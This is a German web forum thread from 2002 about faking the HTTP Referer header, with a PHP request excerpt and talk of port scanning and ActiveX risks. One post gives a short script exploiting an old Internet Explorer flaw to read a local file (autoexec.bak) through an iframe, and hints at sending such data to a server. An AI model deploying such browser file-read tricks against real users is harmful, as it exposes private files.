noch ne frage zum Referer

**JoelH** · 15.01.2002, 10:33

hmm,

scheinbar schon :
http://www.koehntopp.de/php/phpinter...l#http-referer

**admin** · 15.01.2002, 14:13

hast du den referer mal aktiv verändert? Dort steht leider nur das es geht, wie wird nicht weiter erläutert.

berni

**MoRtAlAn** · 15.01.2002, 14:25

Hab mal gesucht und glaube was gefunden zu haben (von Koehtopp selber):

Code:

function PostToHost($host, $path, $referer, $data_to_send) {
$fp = fsockopen($host,80);
printf("Open! 
");
fputs($fp, "POST $path HTTP/1.1 
");
fputs($fp, "Host: $host 
");
fputs($fp, "Referer: $referer 
");
fputs($fp, "Content-type: application/x-www-form-urlencoded 
");
fputs($fp, "Content-length: ".strlen($data_to_send)." 
");
fputs($fp, "Connection: close

ist nur ein Auszug, den rest gibts hier:
http://www.dynamic-webpages.de/09.bestofgml.php?gmlID=9

ist aber glaube ich nicht alles ?!

schaut mal nach

gruss

**MoRtAlAn** · 15.01.2002, 14:35

Da fällt mir ein, ich müßte zu hause noch einen kleinen VB-Browser haben, in den ich das mal eingebaut habe.

Waren sogar weniger als 100 Zeilen Code
(Browserfunktion 1 Zeile!!! ->dlls, etc. sei Dank :-))))
die restlichen Zeilen waren die Header und das ganze geschnörksel ausenrum, was man entweder nach Standart übertragen lassen konnte, oder wie gesagt selber bestimmen konnte:-)) (hat sogar gefunzt!)

gruss

**admin** · 15.01.2002, 18:48

Danke MoRtAlan für dein Mühe.
genau was ich gesucht habe!

**admin** · 15.01.2002, 19:14

wo finde ich Informatioen was ganu bei einem Klick auf einen Link an den Server übertragen wird.

thanks

**hand** · 15.01.2002, 19:33

Die eine Frage ist "Was wird übertragen" die andere ist "Was kann alles ausgelesen werden".
Hier findest Du einige Antworten auf beides.
http://www.gemal.dk/browserspy/

(Es sind aber nur einige, da geht noch einiges mehr)

**MoRtAlAn** · 15.01.2002, 19:49

Wenn man nen Webserver hat, auf dem man C Programme und ähnliches ausführen kann, kann man auch offene Ports scannen :-) (braucht allerdings ein bisschen bandbreite!)

Theoretisch kann man auch Systeminfos auslesen, vorausgesetzt, man nutzt sicherheitslücken wie bei ActiveX.
Haben das in der Arbeit mal getestet (haben vorher ein bar bulletins zum IE durchgelesen und ActiveX aktiviert). Damit kannst du theoretisch den gesamten Rechner fernsteuern (dafür war das ja auch mal ursprünglich mal gedacht.)

Das ist so das, was man direkt im bezug auf Webdesign sehen kann, alles andere geht mehr in Richtung Systemprogrammierung (na gut, die ActiveX-Controls auch, zumindest ein bisschen)

Kann aber alle beruhigen, die sich jetzt gedanken machen und paranoia schieben :-)) ActiveX hat mittlerweile fast jeder deaktiviert und welcher Webmaster, der eine stärker frequentierte Seite hat, kann sich sowas leisten ??
Außerdem ist man, wenn man ab und zu ein Update installiert auch schon auf der sicheren Seite! Dazu noch ein bisschen vorsicht und dann kann eigentlich nichts passieren!

gruss

**hand** · 15.01.2002, 20:03

Original geschrieben von MoRtAlan
ActiveX hat mittlerweile fast jeder deaktiviert und welcher Webmaster, der eine stärker frequentierte Seite hat, kann sich sowas leisten ??

ActiveX kann alles! Die Mächtigkeit ist durch den Anwender nicht kontrollierbar, denn alles, was der Anwender aufgrund seiner Rechte durchführen kann (Datei- Netzwerkzugriffe, etc.) kann auch eine ActiveX-Komponente.

Ich glaube nicht, daß mittlerweile fast jeder ActiveX deaktiviert hat. Ich schätze maximal 5% der Surfer haben ActiveX deaktiviert und nicht mehr.

Falls Du ActiveX deaktiviert hast wird Dir aufgefallen sein, daß Du beispielsweise keine PDF-Seiten über den Browser betrachten kannst.

Auch mit PHP kannst Du einen Portscanner basteln.
Siehe dazu
http://www.php-resource.de/scripts.p...Search=scanner

**hand** · 15.01.2002, 20:25

Man muß aber nicht ActiveX bemühen um über den IExplorer Daten vom PC auszulesen. Hier ein Beispiel zum Auslesen der Autoexec.bak

Code:

<IFRAME  ID="I1"></IFRAME> 
<SCRIPT for=I1 event="NavigateComplete2(b)"> 
alert("Here is your file:\n"+b.document.body.innerText); 
</SCRIPT> 
<SCRIPT> 
I1.navigate("file://c:/autoexec.bak"); 
setTimeout('I1.navigate("file://c:/autoexec.bak")',1000); 
</SCRIPT>

Wie solche Daten dann an einen Server gesendet werden können, brauche ich hier in diesem Forum wohl nicht erläutern.

Anderes Thema, weil zuvor der Begriff Scanner gefallen ist:

Man kann ja den eigenen Rechner, soferne er nicht hinter einem Proxy hängt, über einen einen Security-Self-Check auf offene Ports prüfen lassen.

http://scan.sygatetech.com/

Jedes Port, daß offen ist und nicht gebraucht wird, ist ein offenes Port zuviel.

Ich hoffe hier nicht den Rahmen gesprengt zu haben.

**MoRtAlAn** · 15.01.2002, 20:33

die einzigen Ports, die bei mir offen sind, sind 21, 25, 80 und 443; 23 nur, wenn ich ihn einschalte.

Naja, und davor hängt ja noch meine Watchguard :-))

Außerdem ist das nur mein eigener kleiner Webserver zum Entwickeln, alle anderen Daten liegen auf nem anderen Server, der hinter der Firewall hängt und an den man nicht rankommt.
gruss

noch ne frage zum Referer